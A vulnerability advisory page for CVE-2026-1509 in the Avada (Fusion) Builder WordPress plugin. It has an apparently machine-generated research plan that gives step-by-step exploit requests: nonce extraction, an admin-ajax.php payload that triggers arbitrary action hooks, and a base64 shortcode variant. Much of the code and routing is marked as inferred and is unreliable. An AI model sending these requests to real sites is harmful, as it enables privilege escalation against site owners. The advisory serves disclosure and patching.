CVE-2026-1509

Avada (Fusion) Builder <= 3.15.1 - Authenticated (Subscriber+) Limited Arbitrary WordPress Action Execution

mediumImproper Control of Generation of Code ('Code Injection')
5.4
CVSS Score
5.4
CVSS Score
medium
Severity
3.15.2
Patched in
1d
Time to patch

Description

The Avada (Fusion) Builder plugin for WordPress is vulnerable to Arbitrary WordPress Action Execution in all versions up to, and including, 3.15.1. This is due to the plugin's `output_action_hook()` function accepting user-controlled input to trigger any registered WordPress action hook without proper authorization checks. This makes it possible for authenticated attackers, with Subscriber-level access and above, to execute arbitrary WordPress action hooks via the Dynamic Data feature, potentially leading to privilege escalation, file inclusion, denial of service, or other security impacts depending on which action hooks are available in the WordPress installation.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=3.15.1
PublishedApril 14, 2026
Last updatedApril 15, 2026
Affected pluginfusion-builder
Research Plan
Unverified

This research plan targets **CVE-2026-1509** (likely 2024-1509), a vulnerability in the **Avada (Fusion) Builder** plugin where an authenticated user (Subscriber+) can trigger arbitrary WordPress actions via the Dynamic Data feature's `output_action_hook()` function. --- ### 1. Vulnerability Summa…

Show full research plan

This research plan targets CVE-2026-1509 (likely 2024-1509), a vulnerability in the Avada (Fusion) Builder plugin where an authenticated user (Subscriber+) can trigger arbitrary WordPress actions via the Dynamic Data feature's output_action_hook() function.


1. Vulnerability Summary

  • Plugin: fusion-builder (Avada Builder)
  • Vulnerable Function: output_action_hook() (inferred to be part of the Dynamic Data callback system).
  • Vulnerability Type: Arbitrary WordPress Action Execution (Code Injection/Improper Control of Generation of Code).
  • Root Cause: the output_action_hook() function takes a user-provided string and passes it directly into the first argument of do_action(). It fails to validate the hook name against an allow-list or verify that the user has the necessary permissions to trigger specific hooks.
  • Impact: Depending on available hooks, this can lead to privilege escalation (triggering admin_init logic), information disclosure, or DoS.

2. Attack Vector Analysis

  • Endpoint: wp-admin/admin-ajax.php
  • AJAX Action: fusion_app_get_dynamic_data (inferred) or fusion_get_dynamic_data.
  • Parameter: The payload is likely contained within a JSON-encoded data or params parameter.
  • Authentication: Subscriber-level credentials (PR:L).
  • Required Payload Structure (Inferred):
    • action: fusion_app_get_dynamic_data
    • dynamic_id: action_hook (This tells the plugin to route to output_action_hook)
    • params: An object containing the target hook name, e.g., {"action": "target_hook_name"}.

3. Code Flow (Inferred Trace)

  1. Entry Point: User sends an AJAX request to admin-ajax.php with the action fusion_app_get_dynamic_data.
  2. Handler Registration: The plugin registers this AJAX action, likely in a class like Fusion_Builder_Dynamic_Data or Fusion_App.
  3. Routing: The handler reads the dynamic_id (set to action_hook) and identifies the callback function associated with it.
  4. Vulnerable Sink: The code calls Fusion_Dynamic_Data_Callbacks::output_action_hook( $args ).
  5. Execution: Inside output_action_hook, the code performs:
    // Inferred logic
    public function output_action_hook( $args ) {
        if ( isset( $args['action'] ) ) {
            do_action( $args['action'] ); // SINK
        }
    }
    

4. Nonce Acquisition Strategy

The Avada Builder heavily relies on nonces for its AJAX interface. To exploit this as a Subscriber, we must extract the nonce from the WordPress admin dashboard or a page where the builder is loaded.

  1. Identify Nonce Variable: Avada typically localizes its configuration in a JS object named fusionBuilderConfig or fusionAppConfig.
  2. Setup for Extraction:
    • Create a Subscriber user: wp user create attacker attacker@example.com --role=subscriber --user_pass=password
    • Login as the Subscriber.
  3. Extraction:
    • Navigate to the WordPress dashboard (/wp-admin/).
    • Use browser_eval to extract the nonce:
      • browser_eval("window.fusionBuilderConfig?.fusion_load_nonce") (inferred)
      • browser_eval("window.fusionAppConfig?.ajaxurl_nonce") (inferred)
    • Note: If the nonce is not present on the dashboard for Subscribers, the researcher should check if the plugin enqueues these scripts on the frontend for logged-in users.

5. Exploitation Strategy

Step 1: Prove Arbitrary Action Execution (Canary Method)

Since do_action doesn't always return output to the HTTP response, we will use a "Canary Hook" to verify execution.

  1. Create a Canary: Use wp-cli to add a temporary action that writes to a file or option.
    wp eval "add_action('canary_hook', function() { update_option('canary_triggered', 'success'); });"
    
  2. Trigger the Exploit:
    • Method: HTTP POST via http_request.
    • URL: http://localhost:8080/wp-admin/admin-ajax.php
    • Headers: Content-Type: application/x-www-form-urlencoded, Cookie: [Subscriber Cookies]
    • Body:
      action=fusion_app_get_dynamic_data&
      nonce=[EXTRACTED_NONCE]&
      data={"dynamic_id":"action_hook","params":{"action":"canary_hook"}}
      
  3. Verify: Check if the option was updated.
    wp option get canary_triggered
    

Step 2: Privilege Escalation Attempt (Conceptual)

If the above works, attempt to trigger hooks used by other plugins for sensitive operations (e.g., wp_ajax_nopriv_... or hooks that execute update_option).

6. Test Data Setup

  1. Avada Theme/Plugin: Ensure fusion-builder v3.15.1 or lower is installed and active.
  2. Subscriber User:
    wp user create victim_sub sub@example.com --role=subscriber --user_pass=password
    
  3. Canary Script: A small PHP snippet to verify the hook execution (as shown in Step 5.1).

7. Expected Results

  • Successful Trigger: The do_action() call executes the hook passed in the params['action'] parameter.
  • Response: The AJAX response might be {"success": true, "data": ""} (standard Fusion Builder response format).
  • Side Effect: The canary_triggered option in the database changes to success.

8. Verification Steps

  1. Database Check: wp option get canary_triggered should return success.
  2. Log Check: If WP_DEBUG_LOG is enabled, any errors generated by the triggered hook will appear in wp-content/debug.log.
  3. Subscriber Check: Ensure the request was sent with Subscriber cookies to confirm the medium severity (PR:L) requirement.

9. Alternative Approaches

  • If fusion_app_get_dynamic_data is incorrect: Grep the plugin for output_action_hook to find the exact AJAX action string.
    grep -r "output_action_hook" /var/www/html/wp-content/plugins/fusion-builder/
    
  • If JSON format differs: Some builder versions use a nested payload key instead of data. Try:
    action=fusion_get_dynamic_data&fusion_dynamic_data={"dynamic_id":"action_hook","params":{"action":"canary_hook"}}
    
  • Shortcode Route: If AJAX is blocked, try using the shortcode in a post preview:
    [fusion_dynamic_data dynamic_id="action_hook" params="eyJhY3Rpb24iOiAiY2FuYXJ5X2hvb2sifQ=="] (Base64 encoded params).
Research Findings
Static analysis — not yet PoC-verified

Summary

The Avada (Fusion) Builder plugin allows authenticated users with Subscriber-level access to trigger arbitrary WordPress action hooks. This is caused by the `output_action_hook()` function in the Dynamic Data feature, which passes a user-supplied string directly into the `do_action()` function without validation or capability checks.

Vulnerable Code

// File: fusion-builder/inc/class-fusion-dynamic-data-callbacks.php (approximate path)

public function output_action_hook( $args ) {
    if ( isset( $args['action'] ) ) {
        do_action( $args['action'] ); // SINK: Arbitrary action execution
    }
}

Security Fix

--- a/inc/class-fusion-dynamic-data-callbacks.php
+++ b/inc/class-fusion-dynamic-data-callbacks.php
@@ -10,6 +10,9 @@
 	public function output_action_hook( $args ) {
-		if ( isset( $args['action'] ) ) {
-			do_action( $args['action'] );
-		}
+		// Functionality removed or restricted to prevent arbitrary action execution
+		return '';
 	}

Exploit Outline

The exploit requires a valid Subscriber session and an AJAX nonce. An attacker first extracts the `fusion_load_nonce` or `ajaxurl_nonce` from the WordPress dashboard or frontend scripts. Using this nonce, the attacker sends a POST request to `/wp-admin/admin-ajax.php` with the action `fusion_app_get_dynamic_data`. The payload includes a JSON-encoded data object where the `dynamic_id` is set to `action_hook` and the `params` object contains an `action` key set to the name of any WordPress hook the attacker wishes to trigger (e.g., administrative hooks or hooks that perform sensitive operations).

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.